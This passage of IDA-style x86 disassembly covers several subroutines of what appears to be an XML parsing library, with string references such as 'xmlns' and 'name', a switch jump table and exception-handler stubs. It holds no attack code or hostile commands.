		jz	short loc_69B4FAA2
		dec	eax
		jz	short loc_69B4FA8C
		dec	eax
		jz	short loc_69B4FAB6
		dec	eax
		jnz	loc_69B4FB15


loc_69B4FA8C:				; CODE XREF: sub_69B4FA5E+22j
		mov	esi, [ebp+8]
		mov	eax, [esi+2Ch]
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B4FA9D
		mov	byte ptr [esi+34h], 1


loc_69B4FA9D:				; CODE XREF: sub_69B4FA5E+39j
		inc	dword ptr [esi+38h]
		jmp	short loc_69B4FB18
; ---------------------------------------------------------------------------


loc_69B4FAA2:				; CODE XREF: sub_69B4FA5E+1Fj
		mov	esi, [ebp+8]
		lea	eax, [esi+1Ch]
		push	eax
		lea	ecx, [esi+10h]
		call	sub_69B4D414
		mov	[esi+34h], bl
		jmp	short loc_69B4FB18
; ---------------------------------------------------------------------------


loc_69B4FAB6:				; CODE XREF: sub_69B4FA5E+19j
					; sub_69B4FA5E+25j
		mov	esi, [ebp+8]
		dec	dword ptr [esi+38h]
		jmp	short loc_69B4FB18
; ---------------------------------------------------------------------------


loc_69B4FABE:				; CODE XREF: sub_69B4FA5E+17j
		mov	eax, edi
		sub	eax, 5
		jz	short loc_69B4FB2A
		dec	eax
		dec	eax
		jz	loc_69B4FB87
		dec	eax
		jz	short loc_69B4FB03
		sub	eax, 3
		jnz	short loc_69B4FB15
		mov	esi, [ebp+8]
		cmp	[esi+40h], ebx
		jz	short loc_69B4FB18
		mov	eax, [esi+24h]
		mov	[ebp-20h], eax
		mov	al, [eax+82h]
		mov	[ebp-21h], al
		cmp	al, bl
		jnz	short loc_69B4FB18
		mov	ecx, esi
		call	sub_69B4F421
		mov	[ebp-28h], eax
		cmp	eax, ebx
		jge	short loc_69B4FB18
		jmp	loc_69B4FC2B
; ---------------------------------------------------------------------------


loc_69B4FB03:				; CODE XREF: sub_69B4FA5E+70j
		mov	esi, [ebp+8]
		lea	eax, [esi+2Ch]
		mov	[ebp-2Ch], eax
		push	ebx
		push	eax
		call	sub_69B17320
		jmp	short loc_69B4FB18
; ---------------------------------------------------------------------------


loc_69B4FB15:				; CODE XREF: sub_69B4FA5E+28j
					; sub_69B4FA5E+75j
		mov	esi, [ebp+8]


loc_69B4FB18:				; CODE XREF: sub_69B4FA5E+42j
					; sub_69B4FA5E+56j ...
		mov	esi, [esi+10h]
		mov	eax, [esi]
		push	edi
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword ptr [eax+0Ch]
		jmp	loc_69B4FC28
; ---------------------------------------------------------------------------


loc_69B4FB2A:				; CODE XREF: sub_69B4FA5E+65j
		mov	esi, [ebp+8]
		mov	byte ptr [esi+35h], 1
		cmp	[esi+34h], bl
		jnz	short loc_69B4FB8A
		mov	edx, [esi+2Ch]
		mov	[ebp-30h], edx
		cmp	edx, ebx
		jz	short loc_69B4FB8A
		mov	eax, [esi+24h]
		mov	[ebp-34h], eax
		mov	ecx, [eax+0D0h]
		mov	[ebp-38h], ecx
		cmp	ecx, ebx
		jnz	short loc_69B4FB8A
		mov	[ebp-3Ch], eax
		mov	[ebp-40h], edx
		mov	ecx, [esi+28h]
		mov	[ebp-44h], ecx
		push	eax
		mov	eax, dword_69B95A18
		push	eax
		push	eax
		push	edx
		call	sub_69B8BBC2
		test	al, al
		jz	short loc_69B4FB8A
		mov	eax, [esi+28h]
		mov	[ebp-48h], eax
		push	dword_69B95A18
		lea	ecx, [eax+0Ch]
		call	sub_69B47C9C
		jmp	short loc_69B4FB8A
; ---------------------------------------------------------------------------


loc_69B4FB87:				; CODE XREF: sub_69B4FA5E+69j
		mov	esi, [ebp+8]


loc_69B4FB8A:				; CODE XREF: sub_69B4FA5E+D6j
					; sub_69B4FA5E+E0j ...
		lea	edi, [esi+10h]
		mov	eax, [edi]
		mov	ecx, [eax]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp-28h], eax
		cmp	eax, ebx
		jnz	short loc_69B4FBFE
		lea	ecx, [esi+18h]
		mov	edx, [ecx]
		mov	[ebp-4Ch], edx
		cmp	edx, ebx
		jz	short loc_69B4FBF1
		mov	eax, [esi+28h]
		mov	[ebp-50h], eax
		mov	al, [eax+2Ch]
		mov	[ebp-51h], al
		cmp	al, bl
		jz	short loc_69B4FBF1
		mov	eax, [esi+24h]
		mov	[ebp-58h], eax
		mov	al, [eax+82h]
		mov	[ebp-59h], al
		cmp	al, bl
		jz	short loc_69B4FBF1
		mov	eax, [edi]
		mov	[ebp-60h], eax
		mov	[ebp-64h], edx
		cmp	eax, edx
		jz	short loc_69B4FC2B
		push	ecx
		mov	ecx, edi
		call	sub_69B4D414
		push	dword ptr [ebp+0Ch]
		mov	ecx, esi
		call	sub_69B4F4C3
		jmp	short loc_69B4FC2B
; ---------------------------------------------------------------------------


loc_69B4FBF1:				; CODE XREF: sub_69B4FA5E+14Ej
					; sub_69B4FA5E+15Ej ...
		add	esi, 1Ch
		push	esi
		mov	ecx, edi
		call	sub_69B4D414
		jmp	short loc_69B4FC2B
; ---------------------------------------------------------------------------


loc_69B4FBFE:				; CODE XREF: sub_69B4FA5E+142j
		cmp	eax, 1
		jnz	short loc_69B4FC2B
		mov	[ebp-28h], ebx
		jmp	short loc_69B4FC2B
; ---------------------------------------------------------------------------


loc_69B4FC08:				; DATA XREF: .text:69B4FC44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4FC11:				; DATA XREF: .text:69B4FC48o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+8]
		push	dword ptr [eax+24h] ; int
		call	sub_69B2E808
		push	eax		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4F82B


loc_69B4FC28:				; CODE XREF: sub_69B4FA5E+C7j
		mov	[ebp-28h], eax


loc_69B4FC2B:				; CODE XREF: sub_69B4FA5E+A0j
					; sub_69B4FA5E+17Dj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-28h]
		call	sub_69B1853C
		retn	0Ch
sub_69B4FA5E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B4FC40	dd 0FFFFFFFFh			dd offset loc_69B4FC08
		dd offset loc_69B4FC11

; =============== S U B	R O U T	I N E =======================================



sub_69B4FC4C	proc near		; DATA XREF: .text:69B12764o
		push	0Ch
		push	offset dword_69B4FCA0
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	eax, [eax+10h]
		mov	ecx, [eax]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+10h]
		mov	[ebp-1Ch], eax
		jmp	short loc_69B4FC93
; ---------------------------------------------------------------------------


loc_69B4FC73:				; DATA XREF: .text:69B4FCA4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4FC7C:				; DATA XREF: .text:69B4FCA8o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+8]
		push	dword ptr [eax+24h] ; int
		call	sub_69B2E808
		push	eax		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4F82B


loc_69B4FC93:				; CODE XREF: sub_69B4FC4C+25j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	0Ch
sub_69B4FC4C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B4FCA0	dd 0FFFFFFFFh			dd offset loc_69B4FC73
		dd offset loc_69B4FC7C

; =============== S U B	R O U T	I N E =======================================



sub_69B4FCAC	proc near		; DATA XREF: .text:69B12768o
		push	28h
		push	offset dword_69B4FDB0
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	esi, [ebp+8]
		lea	ebx, [esi+10h]
		mov	eax, [ebx]
		mov	ecx, [eax]
		mov	edi, [ebp+14h]
		push	edi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+14h]
		mov	[ebp-1Ch], eax
		mov	ecx, [esi+20h]
		mov	[ebp-20h], ecx
		push	dword ptr [edi+1Ch]
		call	sub_69B4DDE6
		cmp	byte ptr [esi+49h], 0
		jnz	loc_69B4FD9A
		mov	ecx, [edi+1Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		push	eax
		call	sub_69B48CC4
		test	al, al
		jz	loc_69B4FD9A
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_69B4FD71
		cmp	byte ptr [esi+48h], 0
		jnz	short loc_69B4FD32
		mov	edi, [edi+1Ch]
		mov	[ebp-24h], edi
		mov	[ebp-28h], eax
		mov	ecx, esi
		call	sub_69B4F636
		mov	[ebp-2Ch], eax
		push	edi
		push	dword ptr [ebp-28h]
		mov	ecx, eax
		call	sub_69B3182D
		jmp	short loc_69B4FD4F
; ---------------------------------------------------------------------------


loc_69B4FD32:				; CODE XREF: sub_69B4FCAC+64j
		mov	eax, [ebx]
		mov	ecx, [eax]
		push	0Bh
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	ecx, [esi+28h]
		mov	[ebp-30h], ecx
		mov	eax, [esi+44h]
		push	eax
		push	eax
		call	sub_69B8B750


loc_69B4FD4F:				; CODE XREF: sub_69B4FCAC+84j
		lea	eax, [esi+18h]
		mov	ecx, [eax]
		mov	[ebp-34h], ecx
		test	ecx, ecx
		jnz	short loc_69B4FD5E
		lea	eax, [esi+1Ch]


loc_69B4FD5E:				; CODE XREF: sub_69B4FCAC+ADj
		mov	[ebp-38h], eax
		push	eax
		mov	ecx, ebx
		call	sub_69B4D414
		and	dword ptr [esi+44h], 0
		mov	byte ptr [esi+48h], 0


loc_69B4FD71:				; CODE XREF: sub_69B4FCAC+5Ej
		mov	byte ptr [esi+49h], 1
		jmp	short loc_69B4FD9A
; ---------------------------------------------------------------------------


loc_69B4FD77:				; DATA XREF: .text:69B4FDB4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4FD80:				; DATA XREF: .text:69B4FDB8o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+8]
		push	dword ptr [eax+24h] ; int
		call	sub_69B2E808
		push	eax		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4F82B
		mov	[ebp-1Ch], eax


loc_69B4FD9A:				; CODE XREF: sub_69B4FCAC+3Dj
					; sub_69B4FCAC+53j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	10h
sub_69B4FCAC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B4FDB0	dd 0FFFFFFFFh			dd offset loc_69B4FD77
		dd offset loc_69B4FD80

; =============== S U B	R O U T	I N E =======================================



sub_69B4FDBC	proc near		; DATA XREF: .text:69B12770o
		push	130h
		push	offset dword_69B505A8
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-19h], bl
		mov	[ebp-1Dh], bl
		mov	[ebp-1Eh], bl
		mov	eax, [ebp+18h]
		mov	edi, [eax]
		mov	[ebp-24h], edi
		mov	[ebp-25h], bl
		mov	[ebp-2Ch], ebx
		mov	[ebp-30h], ebx
		push	ebx
		lea	ecx, [ebp-4Ch]
		call	sub_69B2DC5B
		mov	[ebp-4], ebx
		mov	eax, [edi+4]
		dec	eax
		cmp	eax, 18h	; switch 25 cases
		ja	loc_69B502A3	; default
					; jumptable 69B4FE07 cases 10-15,17,20
		movzx	eax, ds:byte_69B5057D[eax]
		jmp	ds:off_69B50551[eax*4] ; switch	jump


loc_69B4FE0E:				; DATA XREF: .text:off_69B50551o
		mov	byte ptr [ebp-1Dh], 1 ;	jumptable 69B4FE07 case	0
		cmp	word ptr [ebp+14h], 1
		jbe	short loc_69B4FE40
		cmp	[edi+20h], ebx
		jz	short loc_69B4FE40
		lea	eax, [ebp-1Eh]
		push	eax
		mov	eax, [ebp+18h]
		add	eax, 4
		push	eax
		mov	eax, [ebp+14h]
		dec	eax
		push	eax
		push	dword ptr [ebp+0Ch]
		mov	esi, [ebp+8]
		mov	ecx, esi
		call	sub_69B4F873
		mov	[ebp-19h], al
		jmp	short loc_69B4FE43
; ---------------------------------------------------------------------------


loc_69B4FE40:				; CODE XREF: sub_69B4FDBC+5Bj
					; sub_69B4FDBC+60j
		mov	esi, [ebp+8]


loc_69B4FE43:				; CODE XREF: sub_69B4FDBC+82j
		mov	al, [esi+49h]
		mov	[ebp-25h], al
		jmp	loc_69B500F9
; ---------------------------------------------------------------------------


loc_69B4FE4E:				; CODE XREF: sub_69B4FDBC+4Bj
					; DATA XREF: .text:off_69B50551o
		mov	esi, [ebp+8]	; jumptable 69B4FE07 case 16
		mov	eax, [esi+10h]
		mov	[ebp-50h], eax
		mov	ecx, [esi+18h]
		mov	[ebp-54h], ecx
		cmp	eax, ecx
		jz	short loc_69B4FEC3
		mov	[ebp-58h], eax
		mov	eax, [esi+14h]
		mov	[ebp-5Ch], eax
		cmp	[ebp-58h], eax
		jz	short loc_69B4FEC3
		cmp	[edi+18h], ebx
		jz	short loc_69B4FE84
		push	ebx
		mov	eax, 0C00CE00Ch
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4FE84:				; CODE XREF: sub_69B4FDBC+B6j
		mov	ecx, [esi+20h]
		mov	[ebp-60h], ecx
		push	ebx		; int
		push	ebx		; int
		push	ebx		; int
		push	ebx		; int
		push	dword ptr [edi+18h] ; int
		push	dword ptr [edi+14h] ; int
		push	dword ptr [edi+10h] ; lpString
		call	sub_69B4D62C
		mov	[ebp-64h], eax
		mov	[edi+20h], eax
		mov	eax, [eax+8]
		mov	[ebp-68h], eax
		mov	ecx, [esi+28h]
		mov	[ebp-6Ch], ecx
		xor	edx, edx
		mov	dl, [esi+3Ch]
		push	edx
		push	ebx
		push	eax
		call	sub_69B8C45B
		jmp	loc_69B502A6
; ---------------------------------------------------------------------------


loc_69B4FEC0:				; CODE XREF: sub_69B4FDBC+4Bj
					; DATA XREF: .text:off_69B50551o
		mov	esi, [ebp+8]	; jumptable 69B4FE07 cases 2,6,9,19,21


loc_69B4FEC3:				; CODE XREF: sub_69B4FDBC+A3j
					; sub_69B4FDBC+B1j
		cmp	[edi+18h], ebx
		jz	loc_69B500F9
		push	ebx
		mov	eax, 0C00CE00Ch
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	loc_69B500F9
; ---------------------------------------------------------------------------


loc_69B4FEE1:				; CODE XREF: sub_69B4FDBC+4Bj
					; DATA XREF: .text:off_69B50551o
		cmp	dword ptr [edi+14h], 5 ; jumptable 69B4FE07 case 23
		jnz	loc_69B5005B	; jumptable 69B4FE07 cases 7,8,24
		push	5		; nChar
		push	dword ptr [edi+10h] ; lpStr2
		push	offset Str1	; "xmlns"
		call	ds:StrCmpNW	; StrCmpNW
		mov	esi, [ebp+8]
		test	eax, eax
		jnz	loc_69B5005E
		mov	ecx, [esi+20h]
		mov	[ebp-70h], ecx
		push	ebx		; int
		mov	eax, dword_69B95A5C
		push	eax		; int
		push	eax		; int
		push	ebx		; int
		push	5		; int
		push	6		; int
		push	offset aXmlns_1	; "xmlns:"
		call	sub_69B4D62C
		mov	[edi+20h], eax
		mov	eax, [esi+28h]
		mov	[ebp-74h], eax
		mov	byte ptr [eax+2Eh], 1
		jmp	loc_69B502A6
; ---------------------------------------------------------------------------


loc_69B4FF35:				; CODE XREF: sub_69B4FDBC+4Bj
					; DATA XREF: .text:off_69B50551o
		mov	esi, [ebp+8]	; jumptable 69B4FE07 case 18
		mov	eax, [esi+28h]
		mov	[ebp-78h], eax
		mov	al, [eax+2Dh]
		mov	[ebp-79h], al
		test	al, al
		jnz	loc_69B5005E
		jmp	loc_69B500F9
; ---------------------------------------------------------------------------


loc_69B4FF51:				; CODE XREF: sub_69B4FDBC+4Bj
					; DATA XREF: .text:off_69B50551o
		cmp	dword ptr [edi+8], 1Fh ; jumptable 69B4FE07 case 1
		jnz	loc_69B500F6	; jumptable 69B4FE07 cases 3,5
		mov	esi, [ebp+8]
		cmp	[edi+18h], ebx
		jnz	short loc_69B4FF82
		mov	ecx, [esi+20h]
		mov	[ebp-80h], ecx
		push	ebx		; int
		mov	eax, dword_69B95A5C
		push	eax		; int
		push	eax		; int
		push	ebx		; int
		push	5		; int
		push	6		; int
		push	offset aXmlns_1	; "xmlns:"
		call	sub_69B4D62C
		jmp	short loc_69B4FFBD
; ---------------------------------------------------------------------------


loc_69B4FF82:				; CODE XREF: sub_69B4FDBC+1A5j
		mov	eax, dword_69B95A5C
		mov	[ebp-2Ch], eax
		mov	[ebp-30h], eax
		jmp	loc_69B500F9
; ---------------------------------------------------------------------------


loc_69B4FF92:				; CODE XREF: sub_69B4FDBC+4Bj
					; DATA XREF: .text:off_69B50551o
		cmp	dword ptr [edi+8], 34h ; jumptable 69B4FE07 case 22
		jnz	loc_69B500F6	; jumptable 69B4FE07 cases 3,5
		mov	esi, [ebp+8]
		mov	eax, [esi+20h]
		mov	[ebp-84h], eax
		push	ebx
		push	ebx
		push	1
		call	sub_69B3DA47
		push	eax
		mov	ecx, [ebp-84h]
		call	sub_69B3DA18


loc_69B4FFBD:				; CODE XREF: sub_69B4FDBC+1C4j
		mov	[edi+20h], eax
		jmp	loc_69B502A6
; ---------------------------------------------------------------------------


loc_69B4FFC5:				; CODE XREF: sub_69B4FDBC+4Bj
					; DATA XREF: .text:off_69B50551o
		mov	esi, [ebp+8]	; jumptable 69B4FE07 case 4
		mov	eax, [esi+28h]
		mov	[ebp-88h], eax
		mov	al, [eax+2Fh]
		mov	[ebp-89h], al
		test	al, al
		jnz	short loc_69B5003F
		push	80h
		call	sub_69B1D897
		mov	[ebp-90h], eax
		cmp	eax, ebx
		jz	short loc_69B5001D
		mov	eax, [esi+24h]
		mov	[ebp-94h], eax
		mov	ecx, [esi+28h]
		mov	[ebp-98h], ecx
		mov	edx, [esi+1Ch]
		mov	[ebp-9Ch], edx
		push	eax
		push	ecx
		push	edx
		mov	ecx, [ebp-90h]
		call	sub_69B8F007
		jmp	short loc_69B5001F
; ---------------------------------------------------------------------------


loc_69B5001D:				; CODE XREF: sub_69B4FDBC+234j
		xor	eax, eax


loc_69B5001F:				; CODE XREF: sub_69B4FDBC+25Fj
		lea	ebx, [esi+10h]
		push	eax
		lea	ecx, [esi+14h]
		call	sub_69B199CC
		push	eax
		mov	ecx, ebx
		call	sub_69B4D414
		mov	ebx, [ebx]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]
		xor	ebx, ebx
		jmp	short loc_69B5005E
; ---------------------------------------------------------------------------


loc_69B5003F:				; CODE XREF: sub_69B4FDBC+220j
		mov	eax, [esi+2Ch]
		mov	[ebp-0A0h], eax
		cmp	eax, ebx
		jnz	short loc_69B5005E
		mov	dword ptr [ebp-0A4h], 0C00CE125h
		jmp	loc_69B50537
; ---------------------------------------------------------------------------


loc_69B5005B:				; CODE XREF: sub_69B4FDBC+4Bj
					; sub_69B4FDBC+129j
					; DATA XREF: ...
		mov	esi, [ebp+8]	; jumptable 69B4FE07 cases 7,8,24


loc_69B5005E:				; CODE XREF: sub_69B4FDBC+144j
					; sub_69B4FDBC+18Aj ...
		mov	eax, [edi+18h]
		cmp	eax, ebx
		jz	loc_69B500F9
		cmp	eax, 3
		jnz	short loc_69B5008E
		push	eax		; nChar
		push	dword ptr [edi+10h] ; lpStr2
		push	offset aXml_0	; "xml"
		call	ds:StrCmpNW	; StrCmpNW
		test	eax, eax
		jnz	short loc_69B5008E
		mov	eax, dword_69B95A64


loc_69B50086:				; CODE XREF: sub_69B4FDBC+2F1j
		mov	[ebp-2Ch], eax
		mov	[ebp-30h], eax
		jmp	short loc_69B500E7
; ---------------------------------------------------------------------------


loc_69B5008E:				; CODE XREF: sub_69B4FDBC+2B0j
					; sub_69B4FDBC+2C3j
		cmp	dword ptr [edi+18h], 5
		jnz	short loc_69B500AF
		push	5		; nChar
		push	dword ptr [edi+10h] ; lpStr2
		push	offset Str1	; "xmlns"
		call	ds:StrCmpNW	; StrCmpNW
		test	eax, eax
		jnz	short loc_69B500AF
		mov	eax, dword_69B95A5C
		jmp	short loc_69B50086
; ---------------------------------------------------------------------------


loc_69B500AF:				; CODE XREF: sub_69B4FDBC+2D6j
					; sub_69B4FDBC+2EAj
		mov	ecx, [esi+20h]
		mov	[ebp-0A8h], ecx
		mov	eax, [edi+18h]
		mov	[ebp-0ACh], eax
		mov	edx, [edi+10h]
		mov	[ebp-0B0h], edx
		push	eax		; int
		push	edx		; lpString
		push	ebx		; int
		call	sub_69B4D394
		mov	[ebp-30h], eax
		mov	ecx, [esi+20h]
		mov	[ebp-0B4h], ecx
		push	eax
		call	sub_69B4DA96
		mov	[ebp-2Ch], eax


loc_69B500E7:				; CODE XREF: sub_69B4FDBC+2D0j
		mov	eax, [esi+28h]
		mov	[ebp-0B8h], eax
		mov	byte ptr [eax+2Eh], 1
		jmp	short loc_69B500F9
; ---------------------------------------------------------------------------


loc_69B500F6:				; CODE XREF: sub_69B4FDBC+4Bj
					; sub_69B4FDBC+199j ...
		mov	esi, [ebp+8]	; jumptable 69B4FE07 cases 3,5


loc_69B500F9:				; CODE XREF: sub_69B4FDBC+8Dj
					; sub_69B4FDBC+10Aj ...
		mov	ecx, [esi+20h]
		mov	[ebp-0BCh], ecx
		push	ebx		; int
		push	dword ptr [ebp-30h] ; int
		push	dword ptr [ebp-2Ch] ; int
		push	dword ptr [ebp-1Dh] ; int
		push	dword ptr [edi+18h] ; int
		push	dword ptr [edi+14h] ; int
		push	dword ptr [edi+10h] ; lpString
		call	sub_69B4D62C
		mov	[edi+20h], eax
		cmp	byte ptr [ebp-25h], 0
		jz	loc_69B502A6
		mov	eax, [eax+8]
		mov	[ebp-0C0h], eax
		push	eax
		call	sub_69B48CC4
		test	al, al
		jz	loc_69B502A6
		mov	eax, [esi+28h]
		mov	[ebp-0C4h], eax
		push	eax
		push	4
		push	offset aName	; "name"
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		mov	ecx, esi
		call	sub_69B4F5D7
		mov	[ebp-0C8h], eax
		cmp	eax, ebx
		jz	loc_69B502A6
		mov	eax, [esi+24h]
		mov	[ebp-0CCh], eax
		push	dword ptr [ebp-0C8h]
		push	eax
		call	sub_69B5B9EA
		mov	[ebp-0D0h], eax
		push	dword ptr [ebp+0Ch]
		mov	ecx, esi
		call	sub_69B4F4C3
		mov	eax, [esi+28h]
		mov	[ebp-0D4h], eax
		push	dword ptr [ebp-0D0h]
		lea	ecx, [eax+1Ch]
		call	sub_69B3BD1A
		test	eax, eax
		jnz	loc_69B502A6
		mov	[esi+49h], al
		mov	ecx, esi
		call	sub_69B4F636
		mov	[ebp-0D8h], eax
		push	dword ptr [ebp-0D0h]
		mov	ecx, eax
		call	sub_69B1980A
		test	eax, eax
		jnz	loc_69B502A6
		mov	eax, [esi+28h]
		mov	[ebp-0DCh], eax
		push	dword ptr [ebp-0D0h]
		lea	ecx, [eax+1Ch]
		call	sub_69B4F40B
		test	al, al
		jnz	loc_69B502A6
		mov	ecx, [ebp-0D0h]
		mov	[esi+44h], ecx
		mov	eax, [esi+28h]
		mov	[ebp-0E0h], eax
		push	ecx
		lea	ecx, [eax+0Ch]
		call	sub_69B4F616
		mov	[esi+48h], al
		test	al, al
		jz	loc_69B502A6
		mov	eax, [esi+28h]
		mov	[ebp-0E4h], eax
		mov	byte ptr [eax+2Fh], 1
		push	28h
		call	sub_69B1D897
		mov	[ebp-0E8h], eax
		cmp	eax, ebx
		jz	short loc_69B5027D
		mov	ecx, [esi+24h]
		mov	[ebp-0ECh], ecx
		mov	eax, [esi+20h]
		mov	[ebp-0F0h], eax
		mov	[ebp-0F4h], eax
		mov	eax, [esi+28h]
		mov	[ebp-0F8h], eax
		mov	edx, [esi+10h]
		mov	[ebp-0FCh], edx
		push	ecx
		push	ebx
		push	dword ptr [ebp-0F0h]
		push	dword ptr [ebp-0F4h]
		push	eax
		push	edx
		mov	ecx, [ebp-0E8h]
		call	sub_69B5CDA6
		jmp	short loc_69B5027F
; ---------------------------------------------------------------------------


loc_69B5027D:				; CODE XREF: sub_69B4FDBC+478j
		xor	eax, eax


loc_69B5027F:				; CODE XREF: sub_69B4FDBC+4BFj
		lea	ebx, [esi+10h]
		push	eax
		mov	ecx, ebx
		call	sub_69B199CC
		mov	eax, [ebx]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	ebx, [ebx]
		mov	eax, [ebx]
		push	0Ah
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	dword ptr [eax+0Ch]
		xor	ebx, ebx
		jmp	short loc_69B502A6
; ---------------------------------------------------------------------------


loc_69B502A3:				; CODE XREF: sub_69B4FDBC+3Ej
					; sub_69B4FDBC+4Bj
					; DATA XREF: ...
		mov	esi, [ebp+8]	; default
					; jumptable 69B4FE07 cases 10-15,17,20


loc_69B502A6:				; CODE XREF: sub_69B4FDBC+FFj
					; sub_69B4FDBC+174j ...
		mov	eax, [esi+10h]
		mov	ecx, [eax]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	[ebp-0A4h], eax
		cmp	eax, ebx
		jl	loc_69B50537
		cmp	byte ptr [ebp-19h], 0
		jz	short loc_69B502EB
		mov	eax, [edi+1Ch]
		cmp	eax, ebx
		jz	short loc_69B502EB
		mov	[esi+40h], eax
		mov	ecx, [esi+20h]
		mov	[ebp-100h], ecx
		push	dword ptr [edi+1Ch]
		push	ebx
		call	sub_69B4D361


loc_69B502EB:				; CODE XREF: sub_69B4FDBC+511j
					; sub_69B4FDBC+518j
		cmp	word ptr [ebp+14h], 1
		jbe	loc_69B504A5
		mov	byte ptr [esi+3Ch], 0
		mov	[ebp-104h], ebx
		mov	eax, [edi+1Ch]
		mov	[ebp-108h], eax
		mov	[ebp-10Ch], eax
		add	dword ptr [ebp+18h], 4
		cmp	dword ptr [edi+4], 3
		jnz	short loc_69B50331
		mov	eax, [esi]
		push	edi
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword ptr [eax+10h]
		mov	[ebp-0A4h], eax
		cmp	eax, ebx
		jl	loc_69B50537


loc_69B50331:				; CODE XREF: sub_69B4FDBC+55Bj
		movzx	eax, word ptr [ebp+14h]
		dec	eax
		mov	[ebp-110h], eax


loc_69B5033C:				; CODE XREF: sub_69B4FDBC+6C2j
		cmp	eax, ebx
		jle	loc_69B50483
		mov	ecx, [ebp+18h]
		mov	edi, [ecx]
		mov	[ebp-114h], edi
		cmp	dword ptr [edi+4], 2
		jnz	loc_69B50439
		cmp	byte ptr [esi+3Ch], 0
		jz	short loc_69B50383
		mov	eax, [esi]
		push	dword ptr [ebp-104h]
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword ptr [eax+14h]
		mov	[ebp-0A4h], eax
		cmp	eax, ebx
		jl	loc_69B50537
		mov	eax, [ebp-110h]


loc_69B50383:				; CODE XREF: sub_69B4FDBC+5A1j
		mov	[ebp-104h], edi
		mov	byte ptr [esi+3Ch], 1
		mov	ecx, [ebp-108h]
		mov	[ebp-10Ch], ecx
		cmp	dword ptr [edi+8], 21h
		jnz	loc_69B50439
		mov	byte ptr [ebp-115h], 0
		cmp	eax, 1
		jle	short loc_69B50411
		mov	[ebp-11Ch], edi
		mov	eax, [ebp-110h]
		dec	eax
		mov	[ebp-120h], eax
		mov	eax, [esi+28h]
		mov	[ebp-124h], eax
		push	eax
		lea	eax, [ebp-120h]
		push	eax
		mov	eax, [ebp+18h]
		add	eax, 4
		push	eax
		call	sub_69B4F53C
		mov	ebx, eax
		mov	[ebp-128h], ebx
		mov	eax, [ebx+0Ch]
		mov	[ebp-12Ch], eax
		test	eax, eax
		jz	short loc_69B5041C
		mov	ecx, [ebx+8]
		mov	[ebp-130h], ecx
		push	ecx
		push	eax
		call	sub_69B31A82
		test	al, al
		jz	short loc_69B5041C
		mov	byte ptr [ebp-115h], 1
		jmp	short loc_69B5041C
; ---------------------------------------------------------------------------


loc_69B50411:				; CODE XREF: sub_69B4FDBC+5F1j
		mov	ebx, offset off_69B1A5AC
		mov	[ebp-128h], ebx


loc_69B5041C:				; CODE XREF: sub_69B4FDBC+636j
					; sub_69B4FDBC+64Aj ...
		cmp	byte ptr [ebp-115h], 0
		jnz	short loc_69B50437
		push	0
		push	ebx
		mov	eax, 0C00CE024h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B50437:				; CODE XREF: sub_69B4FDBC+667j
		xor	ebx, ebx


loc_69B50439:				; CODE XREF: sub_69B4FDBC+597j
					; sub_69B4FDBC+5E1j
		mov	eax, [esi]
		push	dword ptr [ebp+18h]
		push	1
		push	dword ptr [ebp-10Ch]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword ptr [eax+1Ch]
		mov	[ebp-0A4h], eax
		cmp	dword ptr [edi+4], 2
		jnz	short loc_69B50462
		mov	eax, [edi+1Ch]
		mov	[ebp-10Ch], eax


loc_69B50462:				; CODE XREF: sub_69B4FDBC+69Bj
		cmp	[ebp-0A4h], ebx
		jl	loc_69B50537
		add	dword ptr [ebp+18h], 4
		dec	dword ptr [ebp-110h]
		mov	eax, [ebp-110h]
		jmp	loc_69B5033C
; ---------------------------------------------------------------------------


loc_69B50483:				; CODE XREF: sub_69B4FDBC+582j
		cmp	[ebp-104h], ebx
		jz	short loc_69B504A1
